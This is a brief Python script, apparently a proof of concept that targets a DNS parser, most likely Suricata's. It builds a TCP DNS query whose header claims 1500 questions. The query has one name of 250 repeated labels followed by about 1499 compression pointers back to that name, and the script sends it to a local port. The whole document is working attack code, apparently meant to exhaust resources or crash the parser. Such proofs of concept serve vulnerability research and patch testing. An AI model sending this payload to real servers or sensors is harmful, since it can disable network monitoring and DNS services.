import socket
import struct
import binascii
import time

HOST = "127.0.0.1"  # The server's hostname or IP address
PORT = 1053  # The port used by the server

def dnsname(name):
    b = bytearray(b"")
    for l in name.split(b"."):
        b.append(len(l))
        b+=l
    b.append(0)
    return b

nbq=250

dnsh = struct.pack('>hhhhhh', 2222, 0x100, nbq*6, 0, 0, 0)
name = dnsname(b"123456789abcdef123456789abcdef." * nbq + b"suricata.io")
dnst = struct.pack('>hh', 16, 1)
poc = dnsh+name+dnst
for i in range(nbq*6-1):
    poc = poc + struct.pack('>HHH', 0xC00C, 16, 1)
print(len(poc))
poc = struct.pack('>H', len(poc)) + poc
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
    s.connect((HOST, PORT))
    s.sendall(poc)
    time.sleep(1)

